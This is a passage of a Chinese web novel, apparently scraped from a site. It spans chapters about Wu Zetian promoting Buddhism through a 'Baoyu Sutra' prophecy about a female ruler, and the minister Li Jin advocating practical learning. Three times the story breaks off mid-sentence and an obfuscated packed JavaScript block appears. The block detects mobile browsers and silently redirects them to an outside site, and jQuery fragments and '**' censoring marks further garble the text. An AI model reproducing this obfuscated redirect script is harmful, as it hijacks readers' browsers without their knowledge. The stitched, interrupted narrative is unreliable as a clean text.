争夺很快从宫廷蔓延到更广阔的领域。麟德三年秋,一场因“祥瑞”引发的佛道正面交锋,在朝堂上初现端倪。
先是有司奏报,洛州嵩山一位名叫刘道合的道士,在嵩山峻极峰采药时,夜观天象,见“紫气贯太微,光耀帝星”,称此乃“陛下圣德感天,道祖显化,佑我大唐”之吉兆,并献上亲手炼制的“九转金丹”一枚,言可延年益寿。此事在朝野间引起不少关注,尤其是那些信奉道教或希望皇帝身体康健的大臣,纷纷上表庆贺,称之为“道门祥瑞”。
然而,仅仅数日之后,洛阳大慈恩寺住持,德高望重的圆测法师(注:历史上圆测为玄奘高足,此时应在世,此处借用其名望)上书朝廷,言及寺中僧众在译经时,于一部新自天竺传来的梵夹中发现一段“佛说宝雨经”的佚文,其中明确记载,佛陀曾预言,当“千年之后”,将有“女王”于“震旦”(指中国)出世,“教化众生,威德无边”,是“弥勒下生,救苦救难”的化身。圆测法师进一步阐释,此“女王”以“菩萨心肠,行帝王事”,正与当今天后“圣母临人,辅佐圣主,德被苍生”之功德相应,实乃佛法东传千年之应验,佛门之大幸,苍生之大幸。
此论一出,朝堂哗然。如果说嵩山紫气尚属传统道教祥瑞范畴,那么“佛说宝雨经”中关于“女王”的预言,则直指当前**核心,为武则天执政提供了比“洛水瑞石”更具经典依据、也更具神圣性的理论支持,其冲击力远超前者。
支持武则天和亲近佛教的官员立刻抓住机会,纷纷上表,盛赞此乃“佛法灵验,天意昭彰”,是“天后仁德感天动地,故佛门经典预为垂示”,恳请朝廷褒奖圆测法师及大慈恩寺,并应将此“宝雨经”佚文广为刊印,宣扬天下。
而以一些世家出身、信奉道教或恪守传统的大臣,则对此表示怀疑和抵制。他们或质疑“宝雨经”佚文的真伪,认为可能是僧人为迎合上意而伪造;或强调“道先佛后”乃祖宗成法,朝廷不宜过度推崇佛教,以免乱了纲常;更有人隐晦地指出,此“女王”预言,与儒家“牝鸡司晨”之训示相悖,恐非国家之福。
朝会上,双方引经据典,各执一词,争论不休。许敬宗、李义府等人舌灿莲花,极力论证佛经预言的权威性和与天后的契合。而反对者则抬出李唐尊崇道教的祖制,以及儒家经典中的礼法大防。
龙椅上的李治,被这突如其来的佛道之争吵得头晕脑胀,面色更加苍白。他本就不愿过多介入此类神学纷争,加之身体不适,更感烦躁。最终,他疲惫地摆摆手,将目光投向帘后。
帘后的武则天,一直静静听着双方的辩论。当听到圆测法师关于“宝雨经”和“女王”预言的奏报时,她心中已是波澜起伏。这比她授意“洛水瑞石”的“天启”更进一步,直接来自佛门至高经典,其神圣性和说服力不可同日而语。她需要这个预言,但她也知道,不能表现得过于急切。
“诸位爱卿,”武则天的声音从帘后传出,平静中带着不容置疑的威严,“嵩山紫气,乃道祖显化,佑我大唐,自是祥瑞,刘道长献丹祈福,其心可嘉,着有司赏赐。圆测法师发见佛经佚文,阐明微言大义,此乃佛门盛事,亦显佛法无边,泽被中土。佛道二教,皆导人向善,护佑苍生,本为陛下、为本宫所敬重。至于经典预言之事,玄奥莫测,未可轻断。然则,为君为后者,但求上不负天,下不负民,勤政爱民,使海内升平,方是正道。至于经文言及‘女王’与否,本宫德薄,岂敢妄比?此事不必再争。圆测法师献经有功,赐紫袈裟,金百两,帛千匹。大慈恩寺译经有功,加赐田庄一处。嵩山刘道长,赐号‘崇玄**’,赏帛五百匹。着礼部、鸿胪寺妥为办理,勿使方外之人,感念朝廷恩德便是。”
一番话,看似不偏不倚,两边都赏,肯定了“紫气”也褒奖了“献经”,实则暗藏玄机。对道教祥瑞,肯定但未过度渲染;对佛教“女王”预言,虽自称“德薄岂敢妄比”,但重赏圆测和大慈恩寺,尤其是“赐紫袈裟”(唐代赐紫为极高荣誉),其倾向性已十分明显。更重要的是,她以“勤政爱民”为根本,将争议暂时压下,显示了高超的**手腕。
李瑾冷眼旁观着这场朝堂争辩。他对佛道之争本身兴趣不大,无论是道教的炼丹长生,还是佛教的轮回彼岸,在他看来,于解决现实民生、富国强兵并无直接助益。但他敏锐地意识到,这场争夺背后,是武则天在寻找最适合其统治的意识形态外衣。佛教的“女王”预言,无疑比在儒家经典中艰难诠释“母仪天下”更为便捷有力。他预感到,天后的天平,正在不可逆转地倒向佛教。
下朝后,许敬宗和李义府等人面带得色,而一些老臣则忧心忡忡。李瑾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057387|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回到政事堂值房,刚坐下,便有书吏来报,说鸿胪寺负责僧道事务的官员求见,请示关于洛阳城中,大慈恩寺与玄都观(洛阳著名道观)相邻田产**的处置事宜。原来,这两家寺观因地界问题素有龃龉,近日因“祥瑞”和“预言”之事,双方僧侣、道士摩擦加剧,几乎酿成殴斗,地方官府难以处置,只得报上朝廷。
李瑾皱了皱眉,这佛道之争,已从经典的辩难、朝廷的恩宠,蔓延到了实实在在的利益冲突。他沉吟片刻,吩咐道:“着洛阳府、河南尹,会同鸿胪寺、宗正寺官员,实地勘验,据地契、旧例公断,不得偏袒任何一方。告诫双方主持,修行之人,当以清静为本,争执田产,成何体统?若再有无端滋事者,不论僧道,一律按律惩处,绝不姑息。”
他深知,在高层倾向已露的情况下,基层的处理必须格外公正,稍有不公,便会被视为朝廷态度的延伸,可能激化矛盾。他必须尽力维持表面的平衡,至少在具体事务上,不给人以“朝廷崇佛抑道”的口实。
然而,树欲静而风不止。不久,又有一事传来。长安太史局(掌天文历法,多由道士充任)的官员上奏,称近来天象有异,“太白昼见”、“荧惑守心”,乃不吉之兆,暗指“阴气过盛,乾纲不振”,矛头隐然指向后宫干政。此奏疏一上,朝野震动。虽然太史局的官员以“据实奏报天象,不敢不言”为由,但其背后有无道门中人或对武后不满者的指使,令人遐想。
武则天闻奏,凤颜大怒。这已不是简单的佛道之争或学术见解不同,而是赤裸裸地以天象为武器,攻击她的执政合法性。她立刻下旨,严词斥责太史局官员“妄言天象,淆乱人心”,将其为首者罢官流放,其余人等贬斥。同时,她以皇帝名义下诏,重申“天道远,人道迩”,为政者当重人事,修德政,不应动辄以天象附会人事,更不应以此攻讦朝政。诏书中虽未直接提及道教,但敲打之意,昭然若揭。
经此一事,原本还在观望或试图维持平衡的一些官员,彻底明白了风向。对佛教的尊崇和对僧侣的优待,开始从宫廷向整个官僚系统蔓延。各地官员,尤其是渴望升迁或保全禄位者,纷纷效仿,或捐资修葺寺庙,或延请高僧讲·法,或上表称颂佛法。而道教方面,则显得有些沉寂,除了皇帝因健康原因偶尔召见道士炼丹外,来自朝廷的实质性支持明显减少。
在这场愈演愈烈的佛道争宠中,武则天悄然完成了她的选择。儒家经典的重释,是为她披上合乎“圣道”的外衣;而佛教“女王”预言的“发现”和宣扬,则是为她戴上“天命所归”的神圣光环。一者针对士人,一者针对更广泛的民众(佛教在民间的信仰基础庞大),双管齐下,构建起她权力的意识形态双翼。
而李瑾,则在这场他并不热衷但无法回避的争夺中,尽可能地保持着务实和平衡。他督促《大唐报》继续刊登劝农、兴学、务实、介绍边功良吏的文章,冲淡日益浓厚的宗教氛围;他在处理具体佛道**时,力求公允;他在与皇帝的奏对中,也委婉提醒,无论崇佛抑或重道,皆应以不扰民、不空耗国力为前提。他知道,思想的阵地,武则天已经亲自去占领和构建,他能做的,是尽量不让这场争夺过度影响帝国的实际运转,并在他力所能及的范围内,为那些不那么玄虚、更关乎百姓生计的“实学”,保留一席之地。
洛阳城内,大慈恩寺的钟声似乎比往日更加洪亮悠远,而玄都观的香火,在秋风中显得有些寥落。佛道之争的第一回合,看似以佛教凭借其经典中更“合用”的教义和最高权力者的青睐而暂居上风告一段落。但道门数百年的根基和与李唐皇室的血缘联系,岂会轻易消散?暗流,仍在涌动。而武则天对佛教的倚重和推崇,才刚刚开始。
第218章 媚娘崇佛法
“宝雨经”的预言,如同在已渐趋平静的意识形态湖面上投下了一块巨石,激起的涟漪迅速扩散,其影响远超嵩山“紫气”之类的祥瑞。武则天敏锐地抓住了这个天赐良机(或者说,她授意下精心“发现”的良机),开始以更加公开、系统和有力的姿态,将自身权威与佛教紧密捆绑。崇佛,不再仅仅是个人信仰或为母祈福的孝行,更成为一项精心设计、服务于最高权力的国策。
麟德四年春,一道诏书自洛阳宫发出,震动天下僧俗。诏书以皇帝李治的名义颁布,但明眼人都知出自天后授意。诏书称,因“宝雨经”重现,佛法昭彰,为“广种福田,上为陛下、皇后祈福延寿,下为万民禳灾解厄”,特敕令于神都洛阳,择吉地兴建一座“空前绝后、庄严第一”的大佛寺,寺名“大周东寺”(注:此时武则天尚未改国号为周,但“大周”之号已开始在她的支持者中私下流传,此处为小说艺术加工,显示其倾向),以供奉“宝雨经”及未来自天竺、西域迎请的佛骨、经卷。诏书明令,此寺规制、用度,皆“倍逾常制”,所需金银、物料、工匠,由少府、将作等监及河南府全力支应,天下各州“随力助缘”,并号召“王公贵戚、文武百官、士庶僧俗,量力捐输,共襄盛举”。
诏书一下,朝野震动。兴建如此规模宏大的皇家寺院,耗费必然惊人。虽有国库和内帑支持,但“天下各州随力助缘”和号召百官捐输,无疑会给地方财政和官员带来巨大压力。一些较为耿直或节俭的官员,如户部侍郎卢承庆,便私下表达忧虑,认为“今四海虽安,然边备未弛,河工待修,仓廪宜实,当以惜用民力为本。营造大寺,虽曰祈福,恐伤国本”。然而,在许敬宗、李义府等人的带头响应和鼓吹下,在“天后诚心礼佛,为君为民”的大义名分下,这些微弱的异议很快被淹没。各地官员,无论心中作何想,表面上无不积极表态,筹措钱粮物资,征集能工巧匠,源源不断运往洛阳。
在诏令修建大寺的同时,武则天对佛教的尊崇,以一系列令人眼花缭乱的举动,迅速提升到前所未有的高度。
她频频驾临洛阳及长安的各大寺院。慈恩寺、弘福寺、西明寺……都留下了她的御辇和足迹。她不再仅仅满足于在宫中佛堂听经,而是亲赴法会,拈香礼佛,听高僧讲经。每一次驾临,都赏赐丰厚,或赐金银田产,或赐紫衣、师号,或特许寺院免除部分赋役。她还下诏,命高僧大德于两京轮流开设“无遮大会”,广施斋饭,与民同“沐佛恩”,所需费用,皆由内库支给。一时间,洛阳、长安城内,各大寺院香火鼎盛,法会不断,吸引了无数百姓前往,盛况空前。
她开始频繁地召集高僧入宫,不仅限于法明禅师,还有来自各地、各宗派的著名僧侣。她在宫中设“内道场”,与高僧探讨佛法精义,尤其是关于《华严经》、《法华经》、《大云经》(注:此时《大云经》尚未被大规模篡改宣扬,此处为小说情节需要,暗示其受关注)、《宝雨经》等经典。讨论的重点,往往围绕着“菩萨行”、“转轮圣王”、“弥勒下生”、“女王治世”等主题展开。在武则天的引导和暗示下,一些善于揣摩上意的高僧,开始“深入阐发”这些经典中与女性统治者相关的微言大义。
慈恩寺的圆测法师,因其“发现”宝雨经预言之功,最受恩宠。他不仅时常入宫为天后讲经,还受命组织一批学问僧,对《宝雨经》进行详细的注疏和阐释。在武则天的默许甚至授意下,注疏的重点,被放在了“女王”如何“以菩萨心,行帝王业”,如何“慈悲为怀,教化众生”,如何“功德巍巍,堪比转轮圣王”上。圆测法师学识渊博,辩才无碍,在他的诠释下,武则天执政的合法性,不仅得到了“天意”(洛水瑞石)的认可,更在佛教经典中找到了神圣的“法理”依据,她不仅是“圣母”,更近乎是“菩萨化身”、“弥勒应世”。
武则天对圆测等人的工作极为满意,赏赐无算。她还亲自为圆测法师的注疏撰写序言(当然,可能是由北门学士代笔,但以她的名义),盛赞其“阐幽发微,深契佛心”,并敕令将这部《御制宝雨经疏》雕版印刷,颁行天下各大寺院,命僧众宣讲学习。同时,她下令加大佛经翻译的力度,从内库拨出专款,在弘福寺、大慈恩寺等地设立规模更大的译场,延请更多西域、天竺高僧,翻译更多佛经,尤其是那些宣扬“菩萨救世”、“净土往生”、“功德无量”的经典。
随着武则天崇佛姿态的日益公开和高调,佛教界的反应也迅速升温。各地寺院、高僧纷纷上表,或进献“祥瑞”(如某地发现“佛光”、“佛迹”,某寺古树开花呈现佛像等),或呈献新译、新注的佛经,或撰写诗文,盛赞天后“佛缘深厚”、“慧根独具”,是“菩萨转世,护佑大唐”。一些善于投机、渴望上位的僧人,更是极尽谄媚之能事,在讲经说法时,公然将武则天比作“当今弥勒”、“现世观音”,称其执政是“佛国净土降临人间”。
这股风潮也迅速影响了朝野官员和士绅阶层。上有所好,下必甚焉。原本就亲近佛教或善于逢迎的官员,如许敬宗、李义府等,自不必说,其府邸中常设佛堂,与高僧过从甚密,谈论佛法成为新的风尚。而那些原本对佛教无感,甚至因道教“国教”地位而有所偏袒的官员,也开始“恶补”佛学,在家中供奉佛像,以示“与上同好”。一时间,洛阳、长安的官员宅邸中,诵经声、木鱼声不绝于耳,檀香弥漫。士人聚会,除了谈诗论文,也多了许多关于佛理的讨论,若能引经据典,附和几句“天后乃菩萨应化”之类的言语,往往能博得青睐。
这股崇佛浪潮,甚至开始渗透到民间。在朝廷的鼓励和官府的默许下,各地兴建、修缮佛寺之风大盛。权贵富商,竞相捐资建寺,以求功德,或攀附权贵。普通百姓,在官方持续举办的“无遮大会”、寺院日益频繁的法事活动影响下,对佛教的热情也空前高涨。武则天还下令,在《大唐报》上适当刊登一些高僧大德的佛法开示、因果报应故事,以及各地“佛门祥瑞”的报道,进一步在民间塑造其“佛佑圣主”的形象。
然而,在这片看似虔诚、狂热的崇佛浪潮下,并非没有暗流和杂音。
首先便是来自道教和部分笃信道教、或恪守“道先佛后”祖制的朝臣的抵触与不安。太史局官员因“妄言天象”被严惩一事,余悸未消,道门声势大挫。但暗地里的不满并未消失。一些有影响的道教领袖,如嵩山道士潘师正、泰山道士王知远等,虽未公开反对,但明显减少了与朝廷的主动往来,专注于山中清修,对朝廷的征召也常以“方外之人,不问世事”为由推脱。朝中一些出身世家、信奉道教或思想保守的大臣,如侍中许圉师、中书侍郎上官仪(此时尚未被贬)等,对朝廷如此明显、大规模地崇佛抑道深感忧虑。他们或在私下聚会时叹息“浮屠害政”,或在上奏时委婉提及“国朝以老子为祖,道教为本,不宜过崇释教,恐失根本”。但这些言论,在武则天如日中天的权威和崇佛的浩大声势面前,显得微弱而无力。
其次,是来自务实派官员,特别是李瑾一系的隐忧。李瑾本人对佛教并无恶感,甚至认为其劝人向善的教义有助于教化百姓,稳定社会。但他担忧的是,如此大规模、高调地崇佛,尤其是兴建空前规模的大寺,耗费巨资,必然加重百姓负担,影响国计民生。他曾就“大周东寺”的工程预算和摊派问题,向武则天进言,认为“祈福之心虽诚,然民力有穷,当量力而行,可稍减规制,或分年营造,以纾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057388|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
民力”。
武则天当时正沉浸于利用佛教构建神圣权威的兴奋中,对李瑾的建议,表面赞其“体恤民情,老成谋国”,但并未真正采纳,只是将“天下各州随力助缘”的措辞,改为“劝募随喜,不得强征”,实际执行中,地方官为表政绩,讨好上方,摊派强征之事,依然屡见不鲜。李瑾无奈,只能在政事堂尽力协调,在工程物料调配、工匠征集等方面,尽量减少对正常农业生产和边镇供应的干扰。
更让李瑾忧虑的,是佛教势力借此机会急剧膨胀可能带来的**和社会问题。大量田产、财富以“供养”、“捐施”的名义流入寺院,导致寺院经济过度扩张,与国争利,甚至可能出现“十分天下之财,佛有七八”的局面(此为他心中忧虑,尚未成现实)。一些僧侣凭借与宫廷的密切关系,开始干预地方事务,甚至插手诉讼,以“佛法”凌驾于国法之上。虽然目前尚不明显,但苗头已现。此外,民间青壮年为逃避赋役,大量“出家为僧”,也影响了国家户籍和兵源。李瑾曾向武则天提及这些隐忧,建议加强对僧尼户籍的管理,限制寺院田产的过度扩张,规范僧侣行为。武则天对此表示“知道了,容后再议”,但并未立即采取有力措施。在她看来,目前利用佛教巩固权力是第一要务,些许弊端,尚在可接受范围之内。
这一日,李瑾在政事堂处理公务,见到一份来自剑南道的奏报,言及当地一富商,为求“功德”,将大半家产捐给某寺,其子不满,引发诉讼,地方官碍于该寺乃“敕建”,且有高僧与洛阳“有旧”,难以决断,请朝廷示下。李瑾看罢,眉头紧锁,提笔批复,要求地方官“秉公处置,依《唐律》断案,寺院不得干预词讼,僧侣犯法,与民同罪”,并命刑部下文重申此律。
放下笔,他走到窗前,望着宫城方向。那里,为修建“大周东寺”而征调的巨大木石,正通过洛水源源不断地运来,工地上人声鼎沸。更远处,隐约传来大慈恩寺悠扬的钟声。
他知道,武则天对佛教的推崇,已不仅仅是个人信仰或**工具,更成为一种日益强烈的精神寄托和权力象征。她正在用金箔、檀香和浩大的工程,为自己铸造一顶闪耀着佛光的冠冕。这顶冠冕,暂时掩盖了儒家经典“牝鸡司晨”的诅咒,为她提供了至高无上的神圣合法性,但也正在悄然改变着这个帝国的精神面貌和社会结构。
“水能载舟,亦能覆舟。佛光普照,亦能蔽日。”李瑾心中默念。他支持稳定,支持武则天巩固权力以维持朝廷的平稳运行,但他始终对任何可能过度消耗国力、扭曲社会正常运转的狂热保持警惕。无论是儒家的“正名”,还是佛教的“神化”,最终都要落到实实在在的治国理政、富国强兵上来。他必须在这股崇佛的热潮中,努力稳住帝国的航船,确保它不会在炫目的佛光中,偏离了务实的航道。
而此刻,在洛阳皇宫的深处,武则天正虔诚地跪在佛前,手持念珠,默诵着新译出的《华严经》经文。香烟缭绕中,她的面容平静而坚定。佛经中描绘的“华藏世界”、“莲花藏海”的壮丽图景,与她对至高权力的渴望和掌控帝国的现实,奇妙地融合在一起。她相信,自己不仅是人间的主宰,更是得到了诸佛庇佑、肩负着特殊使命的“菩萨化身”。佛教,不仅为她提供了执政的法理,更为她构建了一个超越世俗性别、超越生死轮回的宏大精神世界,让她在面对内外压力、面对疾病缠身的皇帝、面对虎视眈眈的潜在反对者时,获得了前所未有的信心和力量。
崇佛,于她,已是一条不可逆转的道路。而这条道路的尽头,是更加辉煌的巅峰,还是潜藏着未知的危机,此刻无人能够预料。帝国的天空,佛音梵唱日益嘹亮,而务实者的警钟,也在李瑾心中轻轻敲响。
第219章 瑾倡百家鸣
当洛阳城在“大周东寺”的土木轰鸣与日益洪亮的梵呗声中,日益浸润于佛教的金色辉光时,梁国公李瑾的府邸书房内,却弥漫着一种截然不同的气息。这里没有檀香,只有墨香与淡淡的茶烟;没有诵经声,只有书页翻动的轻响与偶尔的议论。面对武则天日益高涨的崇佛热潮及其背后隐含的思想一统倾向,李瑾并未选择直接对抗——那既不明智,也非他所愿。他选择了另一条路径:在不触动崇佛大局的前提下,以一种更务实、更兼容并包的方式,倡导思想的多元与实用,试图在日渐浓郁的“佛光”之外,为帝国保留一片理性与实用的土壤。
他的策略,首先体现在对《大唐报》的进一步引导上。尽管报纸必须报道诸如“大周东寺”奠基、天后驾临法会、高僧讲经等“盛事”,并适当刊登一些劝善的佛理文章,以符合“大势”,但李瑾指示主编和主要撰稿人,必须确保报纸的主体内容和基调,牢牢锁定在“经世致用”上。
于是,在“佛门祥瑞”和“高僧法语”的版面之外,《大唐报》持续且显著地增加了以下内容:
大量关于各地农桑水利、屯田实边、劝课农桑的报道。详细介绍先进的耕作技术(如曲辕犁的改进、水稻移植法)、水利工程(如修复的古渠、新开的陂塘)、新作物(如占城稻的试种推广)的成效。表彰那些兴修水利、鼓励耕织、颇有政绩的地方官员,将其事迹详细报道,树为楷模。
深入剖析朝廷重大政策。如对“两税法”试行得失的讨论(并非批评,而是探讨如何在各地更好执行、避免弊端);对府兵制面临困境的分析及“长征健儿”等募兵制探索的介绍;对漕运、盐铁、市舶等经济事务的解读。文章注重数据和事实,语言平实,旨在让官员士子了解国策,启发思路。
介绍实用技术与科学知识。虽然版面有限,但李瑾坚持保留了一个名为“格物”的专栏,介绍一些实用的算学新法、简易的工程技艺(如测量、建筑基础)、改良的纺织工具、基本的医药常识、天文历法修订(与太史局的“祥瑞”报告区分开,侧重其实用性)等。尽管有时会被士人讥为“奇技淫巧”,但李瑾认为,这些才是真正推动社会进步的力量。
连载“良吏传”和“名将谱”。选取历史上和本朝有作为的能臣干吏、善于治军的将领,记述其务实政绩或成功战例,总结其经验,文风力求生动,避免空泛的道德说教。李瑾希望通过这些故事,潜移默化地塑造一种重实效、重事功的价值取向。
针砭时弊(有限度的)。在把握分寸的前提下,刊登一些揭露地方积弊、反映民间疾苦(如某些地区赋役不均、胥吏扰民)的调查文章,或就某些社会问题(如溺婴、厚葬、土地兼并隐忧)展开讨论,引导**关注实际问题,并提出建设性意见。
此外,李瑾还利用他主持或参与修订典章制度、科举条规的机会,进行着更根本的努力。他提议,在科举取士中,除传统的经义、诗赋、策论外,应适当增加对时务、算学、律法、地理等“实学”内容的考核比重,至少应在吏部铨选时,作为重要参考。虽然此议遭到不少崇尚文学辞章、认为“雕虫小技,壮夫不为”的守旧官员反对,进展缓慢,但李瑾坚持在力所能及的范围内推进。例如,在选拔低阶官吏或专门人才(如掌治河、管仓库、理刑名)时,他力主加试相关实务知识。
更重要的是,李瑾开始有意识地在国子监、弘文馆、崇文馆等最高学府,倡导一种更开放、更务实的学习风气。他利用其宰相身份和参与“重释经典”工程的便利,在与祭酒、博士、学生们交流时,屡屡强调“学以致用”、“博采众长”。他并不公开反对儒家经典的正统地位,而是倡导在精通经义的基础上,应广泛涉猎诸子百家、史书律令、乃至算学、地理、医药等“有用之学”。
“圣人设教,并非要人死守章句,而是要通晓世事,辅佐君王,治理国家。管子通权达变,富国强兵;商君厉行法治,秦国以霸;孙子洞悉兵机,百战不殆;墨子擅守御,重实用;甚至医者扁鹊、工师公输,皆有其专精,有益于世。吾辈读书,当以圣人之道为体,以百家之长为用,方不负平生所学,不负朝廷养育。”在一次视察国子监,与师生座谈时,李瑾如是说道。
这番话,在崇尚“君子不器”、以经学诗赋为正途的士林氛围中,可谓别开生面,甚至有些“离经叛道”。但在场的许多年轻学子,尤其是那些出身寒微、渴望通过实干出人头地的士子,却听得心潮澎湃。长期以来,他们被束缚在汗牛充栋的经典注疏和精雕细琢的诗赋格律中,虽然熟读圣贤书,却对如何实际治理一方、解决具体问题感到茫然。李瑾的话,为他们打开了另一扇窗。
李瑾还鼓励学官们开设一些“杂学”讲座。起初响应者寥寥,毕竟这与主流学风不符,也缺乏“名师”。但李瑾身体力行,他利用自己多年从政、治军、理财的丰富经验,以及超越时代的见识,亲自在崇文馆开设了一系列“时务讲座”,每半月一次,题目诸如“论漕运利弊与改进”、“边镇屯田实边之策”、“钱帛兼行与物价”、“蕃情分析与边事应对浅谈”等。讲座不重虚文,只讲实际,分析问题,提出对策。消息传出,不仅国子监、弘文馆的学生趋之若鹜,许多年轻官员乃至一些对实务感兴趣的中低级官员,也纷纷前来旁听,常常座无虚席,甚至需要提前占位。
这些讲座的内容,经过整理,部分被允许在《大唐报》上刊载,进一步扩大了影响。渐渐地,在两京的士人圈子中,谈论“实学”、“时务”成为一股新的、不那么主流但颇具活力的风尚。一些思想较为开明的官员,如兵部侍郎裴行俭(善于用兵、通晓蕃情)、将作监的能工巧匠(擅长工程)、户部精通钱谷的吏员,也开始受到更多关注和尊重。
当然,李瑾的这种倡导,并非没有阻力。最大的阻力,并非来自武则天——事实上,只要李瑾不公开质疑崇佛,不影响朝政大局,不挑战她的权威,武则天对李瑾这些“务实”的做法,在一定程度上是默许甚至乐见的。毕竟,一个高效、务实、能解决实际问题的官僚体系,对她的统治同样重要。真正的阻力,来自固守传统观念、以文学经术为晋身正途的守旧派士大夫。
一些清流言官,如右补阙朱敬则,就曾上疏,委婉地批评这种“重术轻道”、“舍本逐末”的倾向,认为“朝廷取士,当以德行为本,经术为先。今有司或重簿书期会,或奖巧技工算,恐长浮薄竞进之风,有损敦本崇儒之化”。对此,李瑾的回应是,在朝堂上公开表示:“朱补阙所言,持正之论也。德行经术,固为根本。然则,牧民理政,非空谈可成。通晓钱谷,方能裕国;明**律令,方可断狱;知晓边情,方能御侮。此非‘末技’,实为‘经术’之用也。二者本为一体,不可偏废。朝廷取士,自当德才兼备,经世致用。”
他巧妙地将“实学”纳入“经术之用”的范畴,既肯定了传统价值观,又为自己倡导的务实之学争取了空间。武则天对此不置可否,未加干预,实际上等于默认了李瑾的解释。
另一阻力,则来自佛、道势力。佛教方面,虽然目前得势,但一些高僧对李瑾倡导的、明显更重现实功利、与佛教出世思想有别的“实学”风气,内心并不以为然,只是碍于李瑾位高权重,且未直接攻击佛教,不便多言。而道教方面,在官方支持减弱的情况下,一些有识之士,反而从李瑾“百家鸣”的主张中看到了一丝机会。既然“独尊儒术”(实际是“崇佛”)的局面被打破,那么道家、墨家、法家乃至兵家、农家等思想,是否也能在“实学”的旗帜下获得一席之地?一些不得志的道士,或对丹鼎符箓兴趣不大,反而对天文、历算、医药、地理有研
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064532|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
究的道家学者,开始尝试与李瑾倡导的“实学”圈子接触。
麟德四年夏,在国子监一次关于“水利与农政”的辩论中,就出现了有趣的一幕。一位来自嵩山、精通地理堪舆的道士,与一位工部的水部员外郎,就某地水渠改建方案争论不休。道士引述《山海经》及道家风水理论,论述地形水脉;员外郎则依据实际勘测数据和前代治水经验,提出工程方案。双方各执己见,引来众多学子围观。最后,是李瑾出面调和,他肯定了员外郎方案的数据详实和可行性,同时也指出道士对当地地质水文的独特观察(源于其多年游历勘验)亦有参考价值,建议结合两者之长,进一步完善方案。此事传开,成为一时佳话,也让人看到,在“实学”的框架下,不同背景、不同思想的人,或许可以找到共同语言,解决实际问题。
李瑾深知,要真正扭转数百年来形成的重文学经术、轻实用技能的社会风气和士人观念,绝非一朝一夕之功。他所能做的,只是在“崇佛”和“重释经典”这两股强大的官方意识形态浪潮旁,开辟一条不那么显眼但切实可行的“务实”溪流。这条溪流,不追求思想上的独占和神圣性,只关注现实问题的解决和实际效益的提升。
他继续通过《大唐报》传播务实信息,通过国子监讲座影响年轻士子,通过铨选和考核的微调,激励官员关注实务。他甚至授意手下,开始搜罗、整理散佚的各家实用著作,如《墨子》(尤其是城守诸篇)、《管子》、《商君书》、《齐民要术》(贾思勰著)、《水经注》(郦道元著)等,或组织人力进行注释、摘编,希望为“实学”提供更多的经典文本支撑。
这一日,李瑾在府中接见了一位来自河北的年轻士子。此人并非科举正途出身,而是因在乡里组织修筑堤防、防治水患卓有成效,被地方官举荐至京。他带来了一卷自己绘制的当地水系图,以及一份详细的治水方略。李瑾仔细翻阅,见其图绘精细,方略条理清晰,且颇多因地制宜的创见,远胜许多只会空谈“禹贡”、“河渠书”的官员。他大喜,不仅亲自接见嘉奖,还破格将其留在身边,暂置于工部水部学习行走,并指示《大唐报》可对其事迹酌情报道。
送走这位士子,李瑾对身边的谋士沈谦感叹道:“天下之大,岂无真才实学者?惟科举以诗赋文章取士,不知埋没了多少实干之才。我倡‘百家鸣’,非欲贬低经学文章,实盼朝廷能开此一路,使怀才抱器者,不独以雕虫之技进身。农桑、河工、匠作、算学、律令、边情……诸般实务,皆治国安邦之要,需专才治理。若能使天下人皆知,通晓这些学问,一样能为国效力,得朝廷重用,则何愁人才不济,何愁百业不兴?”
沈谦点头道:“国公高瞻远瞩。只是……如今朝野上下,目光多聚焦于‘大周东寺’之辉煌,热议于‘宝雨经’之玄妙,恐国公所倡‘实学’,应者虽有心,其势未成啊。”
李瑾望向窗外,远处“大周东寺”工地的喧闹声,即便在梁国公府也能隐隐听闻。他淡然一笑:“佛寺巍峨,经典玄奥,可慰人心,可固权位。然则,饥者需食,寒者需衣,河患需治,边关需守。这些实实在在的事,终究需要实实在在的人,用实实在在的学问去解决。佛光普照,固然炫目,但照亮脚下之路,还需人间灯火。我此举,便是想多点燃几盏这样的灯火罢了。不争一时之显赫,但求细水长流,润物无声。”
他知道,思想的构建是一场漫长的竞赛。武则天以无上权威和宗教热情,正在快速建立起一座光芒万丈的“神圣高台”。而他,则选择在台下,默默夯实着“经世致用”的地基。这座地基或许不如高台耀眼,但或许,更为持久,更能支撑起一个庞大帝国真正的繁荣与稳定。百家争鸣,未必是喧嚣的辩论,也可以是不同思想、不同技艺,在解决实际问题的实践中,发出的务实鸣响。
第220章 思想筑高台
